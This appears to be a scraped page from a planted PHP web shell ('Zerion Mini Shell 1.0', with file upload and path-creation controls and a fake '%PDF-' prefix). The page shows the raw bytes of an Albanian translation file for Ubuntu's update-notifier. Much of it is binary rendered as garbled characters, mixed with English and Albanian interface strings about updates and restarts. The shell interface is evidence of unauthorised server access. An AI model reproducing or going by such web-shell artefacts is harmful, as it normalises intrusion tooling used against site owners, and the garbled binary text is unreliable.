%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/locale/sq/LC_MESSAGES/
Upload File :
Create Path :
Current File : //usr/share/locale/sq/LC_MESSAGES/update-notifier.mo

��FLa|&
4�K���;W1t�s�12	5d	v�	�
 �
<�
#)(RBd�4�&�0Pn2�$���
!
1

D
R
d
u
Y�
�
�
$�
 93m!z����d�����;�����GJ_�:�-FVn{
����h7t����i��?�+�3�'�F8�9�I��&�\�-!:O�<�#�A'Jr#�"��C�7: r"�����#5pF��3� 2  S -h � � � -� &!}?!��!�["T#PZ$��$��%O�&�&:R'�'�'�'�'�'(( *B:)->E2=%'A$.1!&7?<#0"9;F@4
(6D5+3C,8/
	  $packages%zd current update%zd current updates- inform about updates<span weight="bold" size="larger">A distribution volume with software packages has been detected.</span>

Would you like to try to upgrade from it automatically? <span weight="bold" size="larger">A volume with software packages has been detected.</span>

Would you like to open it with the package manager?<span weight="bold" size="larger">A volume with unofficial software packages has been detected.</span>

Would you like to open it with the package manager?<span weight="bold" size="larger">Update information</span>A package manager is workingA problem occurred when checking for the updates.APTonCD volume detectedAn application has crashed on your system (now or in the past). Click on the notification icon to display details. An error occured when applying Livepatch updates.An error occured when checking for Livepatch updates.An error occurred, please run Package Manager from the right-click menu or apt-get in a terminal to see what is wrong.An error occurred, please run Package Manager from the right-click menu or apt-get in a terminal to see what is wrong.
The error message was: '%s'. An update has just been applied.Authentication is needed to query package system lock statusAuthentication is needed to upgradeCheck for available updates automaticallyCheck for updatesClick on the notification icon to show the available information.
Crash report detectedData files for some packages could not be downloadedDo you want to report the problem now?Error: BrokenCount > 0Error: Marking the upgrade (%s)Error: Opening the cache (%s)Failed to init the UI: %s
Failed to request reboot, please shutdown manuallyFailure to download extra data filesInformation availableInstall all updatesLivepatch Settings…Livepatch is onNo current updatesReboot failedReport problem…Restart RequiredRestart _LaterReturn the time in days when security updates are installed unattended (0 means disabled)Run upgradeShow Settings…Show human readable output on stdoutShow notificationsShow the packages that are going to be installed/upgradedShow updatesSoftware Packages Volume DetectedSoftware updates availableStart Package ManagerStart package managerSystem program problem detectedSystem restart requiredThe computer needs to restart to finish installing updates. Please save your work before continuing.The download will be attempted again later, or you can try the download again now.  Running this command requires an active Internet connection.The following packages requested additional data downloads after package installation, but the data could not be downloaded or could not be processed.The update information is outdated. This may be caused by network problems or by a repository that is no longer available. Please update manually by selecting 'Show updates' from the indicator menu, and watching for any failing repositories.There is %i update availableThere are %i updates availableThere is %i update available. Click on the notification icon to show the available update.There are %i updates available. Click on the notification icon to show the available updates.This is a permanent failure that leaves these packages unusable on your system.  You may need to fix your Internet connection, then remove and reinstall the packages to fix this problem.This usually means that your installed packages have unmet dependenciesTo finish updating your system, please restart it.

Click on the notification icon for details.To see these additional updates run: apt list --upgradableUnknown Error: '%s' (%s)Update NotifierUpgrade volume detected_Restart Now_Run this action nowunknown errorupdate-notifierProject-Id-Version: update-notifier
Report-Msgid-Bugs-To: 
PO-Revision-Date: 2020-04-26 18:23+0000
Last-Translator: Florind Murtezi <Unknown>
Language-Team: Albanian <sq@li.org>
Language: sq
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=n != 1;
X-Launchpad-Export-Date: 2022-12-15 08:56+0000
X-Generator: Launchpad (build c3f9a3a8c5fffd8b8763824e1f305083a4e9705e)
  $packages%zd perditesime te tanishme%zd perditesimet e tanishme- informo rreth përditësimeve<span weight="bold" size="larger">U dallua një volum me paketa programesh.</span>

Do të donit të përpiqeni të merrni automatikisht programe prej tij? <span weight="bold" size="larger">U dallua një volum me paketa programesh.</span>

Dëshironi ta hapni atë me menaxhuesin e paketave?<span weight="bold" size="larger">U dallua një volum me paketa jo zyrtare programesh.</span>

Do të donit ta hapnit atë me menaxhuesin e paketave?<span weight="bold" size="larger">Rifresko informacionin</span>Një manazhues paketash është duke punuarNdodhi një gabim gjatë kërkimit për rifreskime.U dallua një volum APT në CDNjë program pushoi së funksionuari në sistemin tuaj (tani apo në të shkuarën). Kliko në ikonën e lajmërimit për të shfaqur detajet. Nje gabim ndodhi duke aplikuare perditesimet e LivepatchNje gabim ndodhi duke pare per perditesime per Livepatch.Ndodhi një gabim, ju lutemi nisni menxhuesin e paketave nga menuja e klikimit me të djathtën ose apt-get në një terminal për të parë ku qëndron gabimi.Një gabim u has, ju lutem hapni Menaxherin e paketave duke klikuar me butonin e djathtë ose shkruani në terminal apt-get për të parë gabimin.
Mesazhi i gabimit ishte:'%s'. Sapo është aplikuar një perditesim.Nevojitet identifikimi për të kontrolluar statusin e zhbllokimit të sistemit të paketaveNevojitet identifikimi për të përditësuarKontrollo automatikisht për përditësimet e disponueshmeKontrollo për përditësimeKliko tek ikona e njoftimit për të shfaqur informacionin.
U dallua një raport mosfunksionimiSkedarët e të dhënave për disa paketa nuk mund të shkarkohenDëshironi ta raportoni problemin tani?Gabim: Llogari e Dëmtuar > 0Gabim: Po e markojmë ngritjen (%s)Gabim: Në hapjen e rezervës (%s)Dështuam në nisjen e UI: %s
Dështuam në kërkesën për rindezje, ju lutemi fikeni manualishtDështoi shkarkimi i skedarëve të të dhënave ekstraKa informacion të disponueshëmInstalo të gjithë përditësimetRregullimet e Livepatch...Livepatch eshte i ndezurNuk ka perditesimeRinisja dështoiRaporto problemin...Kërkohet RinisjaRinis më _vonëJep kohën në ditë kur përditësimet e sigurisë instalohen automatikisht (0 do të thotë të çaktivizuara)Nis rifreskiminTrego cilësimet ...Shfaq tekst të lexueshëm nga njerëzit në stdoutShfaq njoftimetShfaq paketat që do të instalohen/përditësohenShfaq përditësimetU Dallua Një Volum i Paketave të ProgrameveKa programe të përditësuarNis Menaxhuesin e PaketaveNis menaxhuesin e paketaveU dallua një problem me programin e sistemitËshtë e nevojshme rinisja e sistemitkompjuteri ka nevojë të rindizet për të përfunduar përditësimet. ju lutemi të ruani punën tuaj para se të vazhdoni.Shkarkimi do të provohet përsëri më vonë, ose ju mund ta provoni përsëri shkarkimin tani. Nisja e kësaj komande kërkon një lidhje aktive interneti.Paketat që vijojnë kërkuan shkarkime shtesë të të dhënave pas instalimit të paketës, por të dhënat nuk mund të shkarkoheshin ose nuk mund të përpunoheshin.Informacioni i përditësimit nuk është i tanishëm. Kjo mund të jetë shakktuar nga probleme të rrjetit ose nga një magazinë që nuk është më e disponueshme. Ju lutemi të përditësoni në mënyrë manuale duke zhgjedhur 'Shfaq përditësimet' nga menuja treguese dhe duke kontrolluar për çdo magazinë që mund të dështojë.Gjendet %i përditësim në dispozicionGjenden %i përditësime në dispozicionRifreskimi %i është i disponueshëm. Kliko në ikonën lajmëruese për të shfaqur rifreskimin e disponueshëm.Rifreskimet %i janë të disponueshme. Kliko në ikonën lajmëruese për të shfaqur rifreskimet e disponueshme.Ky është një dështim i pakthyeshëm që i lë këto paketa të papërdorshme në sistemin tuaj. Juve mund t'iu duhet të rregulloni lidhjen tuaj me internetin, pastaj ti hiqni dhe ti riinstaloni paketat për ta rregulluar këtë problem.Zakonisht, kjo do të thotë që u instaluat paketa që i mungojnë varësitë.Për të përfunduar përditësimin e sistemit tuaj, ju lutemi ta rindizni atë.

Klikoni në ikonën e njoftimit për detajet.Per te pare permiresimet shtese run: apt list --upgradableGabim i Panjohur: '%s' (%s)Njoftuesi i RifreskimeveU dallua një volum më modern_Rinis tani_Kryej këtë veprim tanigabim i panjohurnjoftuesi i rifreskimeve

Zerion Mini Shell 1.0